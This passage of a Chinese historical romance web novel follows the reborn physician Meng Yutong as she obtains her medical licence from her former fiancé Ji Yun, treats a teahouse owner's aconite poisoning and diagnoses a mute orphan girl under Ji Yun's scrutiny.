孟玉桐随手将碗搁在井沿边,往椅背上靠了靠,闭上眼悠悠然道:“医馆拾掇尚需时日,医牌早一刻晚一刻,无甚妨碍。安心便是。” “话虽如此,可总觉得拿到手里比较踏实呢。”白芷嘟囔着,话音未落,忽闻大堂方向传来几声清晰的叩门声—— “笃、笃、笃。” “可有人在?”一道中气十足的男声穿透寂静夜色。 白芷“噌”地弹起身,眼睛瞬间亮如星子:“定是送医牌的!姑娘我去开门!”话音未落,人已如小鹿般窜出,脆声应道:“有人!稍待!” 孟玉桐闻声睁眼,眸中掠过一丝微讶,也自椅中起身。 她下意识理了理微皱的素色裙裾,目光穿过堆叠杂物的过道望向大堂门口,影影绰绰,辨不真切。 脚步声由远及近,沉稳有力。 白芷笑着引着两人入了后院。当先一人,身形劲瘦,步履矫健,一身利落劲装,正是纪昀的贴身侍卫云舟。而他身后半步—— 纪昀负手而立,身姿颀长挺拔,面容在院中朦胧光影下更显清俊冷冽,眉宇间清淡漠然,周身气息沉静平缓。 月白长衫如流泻的清霜,与月华树影相应,别有一番泠然仙气。 他淡淡抬眼,在杂乱小院中极淡地逡巡一圈,最终落在那井台边亭亭玉立的身影上。 白芷浑然不觉气氛微妙,雀跃道:“姑娘。纪公子是替医官院来送您的医牌的!” 她一心只记挂着医牌,此刻全然忘了孟玉桐与纪昀才退婚不久,目前两人的关系……有些尴尬。 孟玉桐迎上纪昀的目光,唇边绽开一抹恰到好处的、客套的微笑,“有劳纪公子亲至。陋室正在改造,杂乱不堪,更无雅座清茶待客,实在怠慢,还望海涵。” 小小院落本就因堆积的桌椅显得逼仄,此刻陡然添了两位身形高大的男子,更显局促。 孟玉桐并无请人落座之意——此地既无合适位置,彼此关系亦未至可随意安坐闲谈之境。 她静静瞧着纪昀,只等他将医牌拿出来。 夜风拂过院中矮草,发出细碎声响,这点微响里还混了些奇怪的响动。 纪昀的视线掠过二层客房——其中一扇窗透出昏黄灯火,晾晒的粗布衣裳在夜风中微晃,隐约可闻哗啦水声,夹杂着男子不成调的哼唱。 “孟姑娘打算在此处开医馆?”他的视线最终落回眼前,落在孟玉桐脸上,眉梢几不可察地微蹙。 溶溶月色下,老柿树虬枝的暗影斑驳,轻覆在孟玉桐身上。她双颊因疲惫与饮子染上自然的薄红,唇色亦如初绽的樱瓣。 素色衣裙沾染了淡淡木屑浮灰,却无损其清丽,反添几分人间烟火的生动。 她迎上他审视的目光,嫣红的唇角弯起一抹弧度,眸光清亮,毫不避讳:“正是。” “缘何?”纪昀言简意赅,声线清冷,不带起伏。 孟玉桐笑意未减,声音清晰:“行事何须必寻理由?心之所向,力之所及,如此而已。” 她姿态从容,那份自信与洒脱在月色下熠熠生辉。 纪昀闻言,唇角竟也牵起一丝极淡、极冷的弧度,似笑非笑,“原来孟姑娘是这般‘性情中人’,那么,退婚一事,亦是如此?姑娘想退——”他微微停顿,淡漠的眸色里,裹挟着令人看不懂的情绪,“便就退了?” 恰在此时,二层的水声戛然而止,男子的哼唱声也停了。 小院瞬间陷入一片沉寂。 云舟与白芷飞快地对视一眼,皆从对方眼中看到了惊诧与屏息。两人默契地垂首噤声,恨不能化作院中一张桌椅,缩进角落里。 纪昀这句‘性情中人’倒不像是在夸她,听在她耳朵里,与骂她‘任性妄为’没有什么区别。 与纪昀相处多年,孟玉桐心知肚明,对纪昀这样的人而言,与谁成婚差别都不大,不过是纪府添一个主母,他多一个夫人而已。 他之所以会这般问,不过是原本按部就班的计划被她忽然打破,徒增了另觅亲事的麻烦与长辈的絮叨。 太麻烦了而已。 他骨子里,便是这般厌恶变数,执掌一切于心的性子。 “纪公子此问,”孟玉桐唇边笑意依旧,声音却冷下来,“是在向我兴师问罪么?” 纪昀神色一滞,孟玉桐温婉贤淑的名声在外,与她见过几回也称得上落落大方。 他显然未料她言辞如此锋锐,简直呛人。 孟玉桐并不理会他的神色,继续道:“退婚一事,是祖母做主,其中详细祖母与老太爷已经分说清楚,纪公子若还有问题,可x以去问纪老太爷。” 他眸色微沉,面上却无波澜,只淡淡道:“孟姑娘误会。纪某心中存惑,故有此一问。若有唐突,还望见谅。” 他不再纠缠,目光微侧,示意云舟。 云舟立刻收敛了看戏的神情,自怀中取出一个乌木小匣,恭敬打开呈上:“孟姑娘,此乃您的医牌。公子恰逢其便,特为送达。” 白芷快步上前接过匣子,取出那枚包铜杉木医牌,珍而重之地捧到孟玉桐眼前,声音带着雀跃:“姑娘您看!是医牌!” 孟玉桐指尖轻触那微凉的木质与铜边,凝神细看其上深刻的纹路字样,指腹轻轻摩挲着。 一丝暖意掠过眼底。 她抬首,朝纪昀微微颔首,又恢复成大家眼中大家闺秀的模样:“有劳纪公子亲送。夜深露重,恕不远送,公子请便。” 纪昀亦只淡淡颔首,未置一词,转身离开。 云舟紧随其后。 两人行至小院通往前堂的窄道口,纪昀脚步倏然一顿。云舟不明所以,亦跟着停住。 纪昀微偏过头,清冷的嗓音在夜色中缓缓荡开,“尚有一事,望姑娘知悉。今岁新规,执此医牌者,需得一位医官院在籍医官具名举荐,录入行医名册后,方可正式悬壶济世。后续流程,莫要疏漏。” 说完这一句,他提步继续往前,月白袍角在门框处掠过,留下一道淡影。 孟玉桐正垂眸端详掌中医牌,爱不释手,闻言脑中“嗡”的一声。 医官院?举荐?她在临安人脉未立,何来熟识的在籍医官? 若无举荐,这费尽心力得来的医牌,岂非废木一块? “纪公子,留步。”她反应极快,迅速将医牌收入怀中,几步追上前去。白芷也慌忙跟上。 一行人从逼仄的小院移步至同样堆满杂物的大堂,空间更显压抑。 纪昀闻声回身,目光落在追来的孟玉桐身上。 那眼神极快地、不动声色地在她晃动的裙摆和微乱的鬓发上扫过,复又归于平静。 “孟姑娘还有指教?若无事,夜已深沉,纪某不便久扰。”他语带疏离,与孟玉桐方才赶客时的语气如出一辙。 孟玉桐面上迅速绽开一抹笑,转向白芷,压低声音语速极快:“去对街饮子铺,再买两份‘二陈汤饮子’来,对了,不要加山楂。” 白芷虽不明就里,但毫不迟疑,应声“是”,麻利地绕过杂物出门。 云舟立刻拱手:“属下去帮白芷姑娘!”话音未落,人已闪出门外。 顷刻间,嘈杂褪去,昏暗的大堂内,唯余二人相对而立。 堆积的木料桌椅投下幢幢黑影,月光透过门缝挤入一线清辉,恰好将两人分隔在光暗交界。 无声静默,如有实质般弥漫开来,只有尘埃在微弱的光柱中无声浮沉。 纪昀并未催促,只是静静地看着她。 终于,他薄唇微启,清冷的声线打破了沉寂,“孟姑娘,怎知我不食山楂?” 孟玉桐倏然捏紧了袖角,糟糕,她一时忘了。 纪昀食山楂会起痱,她每次备他的吃食,格外注意里头是否有山楂。 竟成了习惯了…… 第33章 第33章明日寻我 孟玉桐掐紧手心,秀眉一蹙,面上已迅速凝起恰到好处的几分讶异,那双清亮的眼眸微微睁大,带着几分困惑:“纪公子不能吃山楂?” 她旋即展颜一笑,语气自然流畅,不见半分慌乱:“许是凑巧。方才我饮的那碗‘二陈汤’,里头放的山楂有一股涩味儿,委实难以下咽。故让白芷再买时,特意嘱她莫放此物,倒非知晓公子忌口。” 她神态自若,理由听上去也并无不妥。 纪昀目光在她脸上停留片刻,却终是点了点头,语气平淡:“姑娘心细。留纪某于此,可还有指教?” 他不再追问山楂一事,孟玉桐暗暗松了口气。 “纪公子,此处杂乱,非待客之地。还请移步后院,饮子稍后便至,饮完再走不迟。” 孟玉桐此刻的态度有了极大的转变,语气恳切,侧身向后院方向一引,示意纪昀同她一起过去。 她引他重回井边,让他在井边那张旧竹椅上落座。纪昀亦未推辞,月白袍袖微拂,从容在椅上坐下。 动作间,袖口擦过井沿边尚未来的及收进去的一只粗陶碗。 碗里头空空,只见两道斜映的树影,不见孟玉桐口中说的难以下咽的山楂。 “孟姑娘,喜欢吃涩口之物?”他转过头看她,孟玉桐才坐下,闻言有几分不明所以地抬眼望过去。 纪昀顺手将那只空碗拈起,动作轻缓地送了过来,好整以暇地看着她,“这山楂似乎不如姑娘说得那般难以入口。” 他尾音微扬,直指那空空如也的碗底,“这饮子,倒像是甚合姑娘口味。” 没从她脸上见到预料中窘迫难堪,但见孟玉桐自然将碗接过,语气坦荡:“买都买下了,不吃也是浪费。” “纪公子,上次在纪府,你曾说过多谢我救治小公子,欠我一个人情……”她将那只粗陶碗环在手中,欲言又止。 可那双乌黑的眼睛直直落在纪昀脸上,什么心思,昭然若揭。 纪昀唇角微勾,露出一抹极淡的笑意。他闲适地向后靠去,竹椅发出细微的吱呀声,同时不着痕迹地将两人距离拉开寸许。 “姑娘记性甚佳。”他声音清冷,“然姑娘当日亦言,此乃还伞之惠,两不相欠,无需挂怀。纪某,深以为然。” 字字清晰,句句在理,将孟玉桐递出的“人情”轻易挡回。 孟玉桐神色一凝,压着想要将手中陶碗砸在他身上的冲动,扯了扯嘴角,皮笑肉不笑道:“公子此言差矣。彼时那般说辞,一是不愿公子心存负担,二是确无相求之处。然此一时,彼一时也。” 她微微倾身,声音压低,面上带上几分恳切:“眼下,玉桐确有燃眉之急,还望纪公子不计前嫌。” 原本这两处位置是孟玉桐与白芷坐的,两人在这院中休息谈天,两把椅子摆得极近。 此刻纪昀虽有意拉开距离,两人之间也不过堪堪半掌之隔。孟玉桐这微微倾身靠近的动作,瞬间将本就狭小的空间压缩。 自远处望去,她微微前倾的上身,在朦胧月色与树影婆娑间,竟似不经意般,虚虚依向纪昀沉静端坐的怀中。 夜风拂过,她鬓角一缕发丝,甚至轻轻扫过他月白衣衫的前襟。 纪昀的身体几不可察地微微一僵,那始终平静无波的眼底,终于掠过一丝极淡的涟漪。 他眼帘微掀,眸光如静水,淡淡笼住她,“孟姑娘所求,是欲借我之名,行举荐之事。” 孟玉桐飞快点头,眸底光华流转,带着毫不掩饰的期冀。 “举荐之人,亦担其责,他日姑娘若行差踏错,惹出祸端,我这举荐之人,亦难逃干系。” 月色透过老柿树的枝干,漏下不规则的淡银色光斑,粼粼光影恰好避开他眼中一贯的冷与沉,在他眼下跃动,竟似为他镀上了一层朦胧的人间烟火气。 然,其声一出,便像是兜头一盆冷水浇下,瞬间将那点虚幻的暖意涤荡殆尽。 孟玉桐很快清醒过来,终究是错觉罢了。 “公子亲眼见过我的医术,此番考核,我亦拔得头筹。”孟玉桐迎着他的目光,不卑不亢,语声沉静笃然。 “姑娘以为,”纪昀唇角牵起一丝极淡、几乎融于月色的弧度,那弧度未及眼底,反衬得眸光更深,“仅凭些许末技,便足可承医者之名,悬壶济世了么?” 那语调,分明含着一丝极淡的嘲弄。且这份嘲意,与近日那些嘲笑她以女子身份开馆行医的人不一样。那些不过是井蛙之见,困于世俗窠臼,以性别断高低。于是质疑她的本事、身份,以世俗之视浅薄断定她不会成功。 可纪昀,他见识过她的医术本领,仍旧质疑,此刻质疑的,非是“女子行医”这层表象,而是她孟玉桐这个人。 不过这对她而言,本也无甚紧要。她所求,不过是他这位在籍医官的一纸举荐,至于他心中作何想——无关宏旨。 恰在此时,白芷与云舟各捧一盏饮子,从大堂穿进。 二人闻声,极有默契地敛息收声,各自归位,神色如常。 云舟将手中陶碗奉予纪昀,“公子,您尝尝,白芷说这饮子滋味甚好。” 纪昀接过粗陶碗,送至唇边,浅啜一口。温润的液体滑入喉中,带着一丝微辛暖意,熨帖肺腑,令人心神稍舒。一滴深褐色的汤液,顺着他唇角悄然滑落。 云舟忙着喝自己那份,顾不上注意他。 纪昀正欲起身,一方淡粉色x的素绢帕子,带着若有似无的清浅药香,递至他眼前。 执帕的纤指莹白如玉,开口说话的声音也清冷淡然。 “纪公子,”孟玉桐不疾不徐开口,“行医者,精湛医术乃立身之基石,然绝非唯一圭臬。望闻问切,人情通达,乃至临危不乱之心志,皆为医者所必备。公子若有疑虑,”她眸光湛然,直视纪昀,“尽可当面考校。若我不堪此任,公子自可收回举荐。然……”她语锋微顿,恳切而不失力量,“万望公子,予我一次自证之机。” 纪昀眉心一动,他接过手帕,在唇角轻轻按了按,接着慢慢起身,往屋外走。 行至大堂与小院相连的过道处,他足下微顿,并未回头,清冷的声音却清晰地传入孟玉桐耳中: “明日未时三刻,带上医箱,至清风茶肆后巷济安堂寻我。” 语毕,他不再停留,径直步出客栈。 云舟匆忙咽下口中饮子,疾步跟上。 孟玉桐快走两步至门边,对着那颀长挺拔的背影,遥遥道:“谢过纪公子!” 纪昀步出聚福客栈,并未右转向望仙桥归家而去,而是折向左首,走向对街那间已显冷清的饮子铺。 铺主王勇正忙着卸下门板,收拾摊位,见有客至,忙拱手歉然道:“二位客官,实在对不住,天色已晚,小铺打烊了,您二位明日请早吧。” 纪昀目光扫过铺内陈设,落在角落一处,“店家,非为饮子。敢问二陈汤饮中所用之山楂碎,可尚有富余?” 王勇虽觉诧异,仍点头应道:“有的有的,客官若需,小的这就给您包些。” “有劳。” 云舟在后头会了钞,拎着一小包暗红色的干山楂碎随纪昀离开。 “公子,”云舟忍不住开口,“您不是向来不食山楂的么?” 纪昀步履未停,声音平淡:“你且尝尝,同我说说滋味如何。” “啊?”云舟嘴角微抽,虽不明所以,仍依言打开油纸包,捏了几块碎楂丢入口中,用力咀嚼起来。 “唔…酸中带点儿回甘,滋味尚可。” “可有涩味?” 他咂咂嘴,又抓了一小撮塞进去,“并无涩味,吃着挺开胃的。” 纪昀指腹无意识地摩挲着袖中那方柔软的粉帕。帕角一簇桃花绣得精巧,其上萦绕的淡淡药草清气,与她那只香囊的气息如出一辙,有淡淡安抚的力量。 他修长的眉缓缓蹙拢。 究竟从何时起,这位孟家大小姐身上竟处处透着古怪? * 纪昀走后不久,孟玉桐也回了府。 洗漱完躺在床上,青缎帐顶,绣桃疏影随烛轻曳,她的思绪亦随之飘远。 纪昀对山楂过敏这件事,她是在两人上一世成婚后的第二年知道的。 景和三十七年,冬,大雪。 那日是桂嬷嬷的忌日,孟玉桐白日料理完诸事,入夜,自箱底翻出嬷嬷亲手为她所酿的两坛山楂酒。温了一坛,独坐灯下,浅斟独酌。 彼时,她与纪昀成婚已逾一载。 这一年,宫闱骤变——景福公主暴薨,新帝践祚,瑾安公主荣宠加身;而纪府之内,纪昀也经病重,她亲手采药…… 经历了许多事情,可他们之间,却愈发似一潭枯井,无波无澜,唯余“相敬如宾”四字。 宛如生活在同一屋檐下的陌生人。 她亦是人。端方太久,隐忍太久,那根弦已绷至极限。 今夜,她想暂卸枷锁,只求一坛酒的光阴。待酒尽天明,她仍是那个无可挑剔的纪家妇。 未料,一坛尽倾,竟醉得人事不省。连自己怎么回榻上的都浑然不知。 睡到第二日午后才起,起来时听屋里下人说,纪昀今日告了假。 她心下一沉,匆匆梳洗,往书房探看。只见他倚坐案前,颈间、手背红疹密布,病容倦怠,却仍执卷翻阅医书。至此她才知晓,他竟沾不得山楂分毫。 只是……她分明记得,昨夜已将那一坛饮尽。他又是如何触了那山楂之物? 她心中存着这样的疑惑,回头整理箱柜时发现另一坛酒不见了。屋里丫鬟说是纪昀吩咐人拿走了。 她这才解惑,许是纪昀不知那酒是山楂酿的,喝了一些,于是引发红疹。 从那之后,她便将这细节记在心里。 第34章 第34章孟姑娘虽不守时,眼力倒…… 济安堂是一处官牒朱印的善所,专事收容被弃孤儿,仰赖官府拨银与官绅善款维系营生。 善所维持尚且不易,故而其位置所在,并非御街繁华之地,而是隐于桃花街清风茶肆后巷的兴礼坊深处。 今日是孟玉桐头一回去济安堂。她猜想纪昀叫她去此处,大概有考校之意。 于是早早就备妥了医箱,先去聚福客栈瞧了瞧修缮进展,留下白芷监看。而后沿着清风茶肆后头那条青石板铺就的小巷,往济安堂方向去。 路过清风茶肆的后院,院里炭火正旺,铁锅翻炒着新茶,浓郁醇厚的茶香弥散在后巷的空气里,沁人心脾。 说起清风茶肆,这茶肆门面不大,却颇有名声。乃是一对何姓父子经营,父亲何鸿年逾五十,沉稳寡言,精于制茶;儿子何浩川年方十七岁,手脚麻利,常在堂前跑堂。 上回孟玉桐来还伞,招呼她的便是这何浩川。 据说何家世代在远郊凤凰山侍弄茶园,所产茶叶自有一番山野灵气与独特韵味,故而常有城中雅士名流,不惜寻幽至此,只为品一盏何家新焙的香茗。 孟玉桐对此间熟稔,皆因前世纪昀除却钻研医道,偶得闲暇,最喜来此品茗静思。 她那时也曾悄悄来过几回,点过纪昀偏爱的“浮梁雪毫”、“云雾雀舌”,只是她总觉这清苦滋味,远不如对街王记饮子铺的各色饮子来得爽口酣畅。 可为了能与他多些谈资,她便也硬生生喝出了习惯。有时贪杯几盏,入夜便辗转难眠,次日精神恹恹。 如今想来,那份强求的迎合,实在可笑又可怜。 茶喝了无数,非但未能因“雅好”与他亲近半分,反叫他误会是自己回府晚扰了她安眠,后来索性宿在了书房…… 孟玉桐唇角掠过一丝极淡的无奈的笑,收回落在茶肆上的目光,步履未停。 刚走出两步,忽听墙内传来一阵骚动,紧接着一声凄厉的呼喊传了出来: “爹!爹!你怎么了?!” “掌柜的!掌柜的怎么突然晕倒了?!” 孟玉桐脚步倏地顿住。 听这声音,里头是出事了? 她抬眼望了望天色,日头已微微偏西,申时将至,济安堂就在巷子深处,走过去至多半柱香的功夫。 她此时直接过去,时间定有盈余。 然医者仁心,她明知里头或许有人有危险,性命攸关,岂容迟疑? 未及多想,她肩头微沉,将斜挎的藤编医箱带子紧了紧,果断转身推开茶肆那扇虚掩的院门。 小院整洁,青砖铺地,一侧堆着整齐的柴薪,另一侧是焙茶的灶房。 此刻,灶房门口已围了三四个人,个个面色惶急。 地上躺着一位身着靛蓝粗布短褂、腰系褐色围裙的老者,正是茶肆掌柜何鸿。 他儿子何浩川跪在一旁,死死将他上半身搂在怀里,双臂勒得死紧。 何鸿脸色青紫,喉中发出“嗬嗬”的怪响,眼看就要被他勒得喘不上气。 孟玉桐心道不妙,疾步上前,分开围拢的伙计,朝那惊慌失措的何浩川喊道:“小哥,快松手,将人放平。你这样抱着,令尊更喘不过气。” 她一边说,一边利落地将医箱置于地上打开,自己则跪坐在何鸿身侧。 “你……你是何人?”何浩川急得满头大汗,被孟玉桐一点,才猛地回神,慌忙依言将父亲放平在地。 他双手抖得不成样子,猛地从怀里掏出个沉甸甸的钱袋,胡乱丟给旁边一个伙计,“快!快去太庙对面的济世堂!多少钱都行!把大夫请来!快啊!” 那伙计抓着钱袋拔腿欲跑,孟玉桐已迅速搭上何鸿的腕脉,指尖微沉,又飞快地翻开他的眼睑查看瞳孔,再撬开其口舌观察。 只见何鸿口唇青紫麻木,气息微弱急促,指尖冰凉,脉象紊乱如雀啄。她心头一凛,断然道:“不必去了。令尊是中毒之兆,怕是等不及大夫赶来了。” 说话间,她已从医箱中取出针囊,抽出一根三寸长的银针,利落地撩开何鸿的衣袖。 何浩川大骇,下意识伸手阻拦:“姑娘!你……你这是做什么?我爹他……他吃穿都同我们一起,怎会中毒?!” “除了一同用的饭食,他可还独自用过何物?”孟玉桐目光炯炯,扫向被她x喝止住的那个伙计。 伙计急得抓耳挠腮,一阵龇牙咧嘴后猛地一拍大腿:“茶!掌柜的喝的茶!他嫌我们泡的味淡,总爱自己另泡一壶浓茶慢慢喝!” “取他今日喝的茶来。快!”孟玉桐声音陡然拔高,带着一股令人心折的威势,屋中几人俱是一震。 伙计连滚爬冲进后堂,片刻端出一个粗瓷茶碗,里头是半碗深褐色的茶汤。 孟玉桐接过,置于鼻下细细嗅闻。一股浓烈的茶香中,隐隐透出一丝极淡的、带着辛辣感的奇异酒气。 “是乌头/碱中毒。”孟玉桐神色凝重,“应当是误饮了驱虫的药酒。你看他的面容,口唇青紫麻木,气息急促微弱,四肢厥冷,脉象紊乱,正是此毒急症。” 父亲症状的确与她所说一般无二,难道真是中毒? 何浩川闻言,如遭雷击,浑身抖若筛糠。 他此时也顾不得去细问孟玉桐的身份,只觉着她拿着医箱,说起这些症状来又头头是道,她应当是有办法的! 他扑通一声跪在孟玉桐面前,抓住她的手腕,涕泪横流:“姑……姑娘!求求你!救救我爹!你能瞧出他所中之毒,自应当也有办法解毒吧!我何浩川给你磕头了!你要多少钱我都给!” 何浩川哭得惨极,一把鼻涕一把眼泪的往下落,又死死抓着孟玉桐的手,眼看着那些流淌之物都要滴到她手里了。 孟玉桐眉头微蹙,用力抽回手,耐着性子温声安抚道:“别慌,先救人要紧。” 她声音冷静,语速平稳,行事条理清晰又有章法。 何浩川也被她周身所展露的冷静气场所染,情绪稍定。 他想了想,眼下情况紧急,自己也没有其他办法,不如就听这姑娘的。 于是抓起自己的袖子在脸上胡乱抹了一把,匆匆点了点头,随后退到一旁,屏息等着孟玉桐下一步动作。 孟玉桐目光在灶台四周快速扫过,此间并无可用之物,没多做犹豫,她抬手从发间拔下一根银簪,用帕子擦拭干净。 手执银簪,她示意何浩川撬开何鸿的牙关。 何浩川依言动作,等何鸿一张嘴,她便用银簪压住其舌根,以防其咬舌或窒息,同时吩咐一旁呆立的伙计:“快取些浓盐水来。” 伙计闻声,也不敢多问,立刻闪身钻进灶房准备。 她又将何鸿的双手放平,取银针刺入其腕内侧内关穴,指尖捻转提插,以泻法疏导心包经气,稳住心脉。 紧接着再取一针,示意何浩川脱去何鸿鞋袜,提针刺向他足底涌泉穴,同样行泻法,引火下行,调和心肾。 两针甫毕,伙计已急匆匆端来一碗浓盐水。 在孟玉桐引导下,几人扶起何鸿,勉强灌入少许盐水后,又依言将他身体侧翻。 孟玉桐并指如剑,用力推按他腋下深处的极泉穴,同时沉声喝道:“吐出来!” 一番动作,何鸿身体猛地一颤,随即哇地一声吐出大量污物。 其间夹杂着褐色的浓茶渣、未消化的食物,以及一股驱虫药酒的气味。 随着污物呕出,他那青紫的脸色竟奇迹般地褪去几分,急促的喘息也渐渐平复下来,虽仍昏迷,但气息已趋平稳。 孟玉桐松了口气,一番动作下来,额上沁出一层细密的汗珠,她也顾不得擦拭,示意何浩川:“将令尊扶到榻上歇息,注意保暖。” 何浩川几人连忙扶起地上的何鸿,离开灶间,往他的卧房送过去。 几人离开后,她在医箱中取出纸笺和笔,开了一张解毒扶正的方子。 方子写完,何浩川正巧回来。她将方子递过去,并叮嘱道:“按此方去抓药煎服,一日三次,连服三日。切记,这套沾染了药酒的茶具万不可再用,日后存放药酒务必谨慎。若令尊后续有何不妥,可以去隔壁的聚福客栈寻我。” 话音未落,她已利落地合上医箱,挎于肩上,快步往外走。 在此耽搁太久,与纪昀约在济安堂的时辰,眼看就要误了。 昨日开口请他相助已是情非得已,若此番再失约,她当真要与这举荐之名失之交臂了。 何浩川双手微颤地接过药方,脸上感激与愧疚交织,他往前几步追着孟玉桐问:“姑娘、姑娘留步,敢问姑娘芳名?今日大恩,何浩川没齿难忘。您这是要去哪里?是不是耽误了您的大事?我让伙计驾车送您!” 孟玉桐脚下不停,已匆匆步出院门,闻言头也未回,只留下一句:“不必,我去济安堂,就在前巷,你好生照料令尊便是。” 只见她步履匆匆,径直朝兴礼坊深处的济安堂赶去,不多时身影便消失于巷口。 何浩川怔怔望着空荡的巷子,心口仍怦怦急跳。 他不敢耽搁,将药方一把塞进旁边伙计怀中:“快去抓药!” 自己则转身扑回父亲榻前,寸步不离地守着。 榻上何鸿双目紧闭,呼吸虽平稳却微弱,如同陷入深眠。枕边,静静躺着那支被孟玉桐用来撬齿压舌、此刻已擦拭干净的银簪。 何浩川望着父亲苍白的面容,心中后怕如潮水般涌来。幼时母亲因采茶摔伤了腿,伤势反复迁延,始终未能根治…… 母亲不愿成为家中的拖累,亦难忍受病痛折磨,服毒去了。 只剩下他与父亲相依为命。 父亲是他在这世上唯一的亲人,若今日父亲也……他攥紧了拳——这世间,于他还有何可恋? 所幸……所幸有那位姑娘,如天仙下凡,妙手回春。 他的视线不由自主又落到那支银簪上。 簪身素雅,簪头三朵银桃含苞待放,花瓣层叠,姿态各异,于沉静中透着一股泠然别致的韧劲。 与那位性子沉稳,医术精湛的姑娘很是相称。 何浩川小心翼翼地拈起簪子,用袖子里外仔细擦了数遍,犹觉不够。 他快步走到桌边,提起滚烫的茶壶,将簪子置于茶盏中,用沸水反复淋烫。烫罢,又寻来皂荚,一遍遍揉搓清洗。 一套动作下来,那银簪子的银粉都被他搓下来一层。 直至皂水洗净,簪身恢复清亮,何浩川才用洁净的细布,一点点吸干簪上水痕,妥帖收入怀中。 * 济安堂的位置隐在清风茶肆后巷深处。 沿着巷子走到底,穿过兴礼坊,再拐进一条被斜阳晒得半明半暗的窄路,尽头处,可见一扇半旧的黑漆木门。 门上悬着块朴拙的木匾,上书“济安堂”三字。 墙角几丛野花悄然绽放,倒把这处僻静地衬得有了几分活气。 孟玉桐抬手轻叩门环。不多时,门“吱呀”一声开了,一位年约四十、身着靛蓝细布裙的微胖妇人探出身来。 她圆脸盘,面容慈和,看见门外站着个气质清丽、背着药箱的年轻姑娘,脸上立刻堆起热情的笑:“姑娘可是纪医官的朋友?” 孟玉桐含笑点头,“纪昀可在济安堂?” 妇人热情地拉过她的手,引她入内,“我是这济安堂管事秋娘,平日里就照料着这些孩子们的吃喝拉撒。纪医官每月都来给孩子们义诊,这会儿正在大堂看诊呢,快随我来。” 秋娘为人爽朗热络,边走边絮絮介绍:“这东厢房是孩子们读书识字的地方,这会儿还有几个在先生跟前摇头晃脑呢。 西厢是睡房,通铺倒也暖和。喏,那边廊下几个大点的孩子在学着编竹筐,能换点零用贴补。 吃饭就在后头的小饭堂,这会儿还没到开饭的时辰……“她指了指中庭晾晒的一排小衣物,又朝传来轻微咳嗽声的大堂方向努努嘴,“还有些体弱的娃娃,正等着纪医官瞧呢。姑娘年纪轻轻竟也是位大夫,真是了不得! 我家那口子也开医馆,可惜他那小馆子忙得脚不沾地,不然也轮不到劳烦医官院的大人们常来照拂了。” 孟玉桐心中微动——纪昀竟是以“大夫”的身份向秋娘介绍她的?一丝异样感掠过心头。她问:“秋娘,纪医官是何时到的?” “申时初就来了,”秋娘看看天色,“如今申时都快过半,看了有大半个时辰,娃娃们的例行诊查也快收尾了。” 孟玉桐闻言,暗道糟糕,脚下不由加快了几分。她顺势问起孩子们常见的病症,有无特别棘手难缠的。 秋娘叹口气,提了几个名字和症状,两人说话间已到了大堂诊室外。 秋娘嗓门洪亮,抬手叩门:“纪医官!您那位漂亮的女大夫朋友来啦!” 门内似乎静默了一息,才传来纪昀那惯常清冷无波的声音:“进。” 秋娘推开门,侧身让孟玉桐进去。 屋内陈设简单:一张宽大的诊案临窗摆放,笔墨纸砚齐备;旁边立着个半旧的黄x梨木医箱。 一道素面屏风将屋子隔开,其后隐约可见一张供诊查用的小榻。空气里有淡淡的草药清气。 纪昀正端坐案后,提笔写着什么。 他对面坐着个约莫五六岁的小姑娘,梳着两个略显毛躁的小抓髻,用褪色的红头绳系着。 一张小脸带着病气的苍白,却生了一双异常灵动的大眼睛,此刻正骨碌碌地四处乱瞟,透着股压不住的机灵劲儿。 只是碍于眼前这位面容清冷、气势迫人的医官,她小屁股在硬木凳上挪来蹭去,强装出一副乖巧模样,显然早已坐得不耐烦了。 纪昀并未抬眼看来人,只抽出手,用笔杆朝自己身侧的一张空椅虚虚一点,示意她坐下。 孟玉桐将带来的医箱置于案角,依言在他身边落座。 纪昀正襟危坐,笔下不停。待孟玉桐在他一侧坐定,才淡淡扫她一眼,抛出一句:“孟姑娘,你若无事,劳烦替小雪诊治。” 言简意赅,也不说这孩子哪里有问题,亦不提供任何背景信息。 孟玉桐来得迟,自知理亏,便也没问。 她将椅子往前挪了挪,看向眼前的小姑娘,温声问道:“小雪,告诉姐姐,你哪里不舒服呀?” 她说话的声线是清冷的,但此时对着这样一个可爱的小姑娘,她也不自觉软下了声调,听上去竟有几分温软清甜,是难得能从她身上听到的语调。 纪昀游走不停的笔杆似乎微微一顿,不过很快又重新写动起来。 小雪闻声,大眼睛眨了眨,冲孟玉桐甜甜一笑。 随即伸出小手指了指自己的嘴巴,又怯怯摆了摆小手,头上两个发包颤颤不停,示意自己不能说话。 接着,她抬起小手,先是捂着胸口急促地起伏几下,模仿喘不上气的样子,小脸憋得微红。 然后手指指向喉咙,做出吞咽困难的表情,又捂嘴轻轻咳嗽了几声。 最后小手无力地垂下,眼神带着点委屈看向孟玉桐。 孟玉桐看着小雪努力表达的样子,心尖泛起一丝酸涩。虽不能完全看懂手语,但结合其动作神态,心中已有几个猜测。 她拉过小雪微凉的小手,仔细诊脉,又查看了她的咽喉、舌苔,轻轻按了按她的胸腹。 一番诊察下来,心中已基本确定。 她转向纪昀,语气笃定:“纪医官,小雪此症,可是‘喉痹气逆’,肺气壅塞,痰阻金咽所致?” 纪昀这才搁下手中的紫毫笔,抬眸看向她,目光深邃难辨:“孟姑娘虽不守时,眼力倒是不差。” 语气听不出褒贬。 不对,细细一听,还是听得出的。 孟玉桐唇边扯出一抹略带歉意的笑,正欲开口解释迟来之因:“实在抱歉,今日来迟事出有因……” 纪昀屈指在案上轻轻一叩,打断了她,直接问道:“依孟姑娘之见,此症当如何施治最佳?” 孟玉桐略一沉吟,条理清晰地答道:“小雪年幼体弱,脏腑娇嫩,峻剂猛攻虽可见效于一时,恐伐其根本。当以‘润肺化痰、健脾益气、缓图其功’为要。可用‘健脾润肺汤’为底方:取太子参、茯苓、白术健脾益气以固后天之本;麦冬、沙参、玉竹润肺生津以滋上源;佐以浙贝母、枇杷叶、桔梗宣肺化痰利咽;少佐陈皮理气和中,使补而不滞。此方药性平和,重在扶正祛邪。” 她继续道:“同时,须严令小雪忌食生冷甜腻、辛辣炙烤之物,日常饮食宜清淡温软。另可教其简单的呼吸吐纳之法,每日晨昏练习,以助宣畅肺气。 “外治法上,可用吴茱萸研末醋调,睡前敷贴足底涌泉穴,引火下行。如此内服外调,徐徐图之,既可减轻汤药苦楚对稚儿脾胃的刺激,又能稳固疗效,减少反复。” 太子参配麦冬气阴双补,茯苓白术健脾助运化湿……孟玉桐很熟悉药性搭配,亦善用温和药物相互促进。 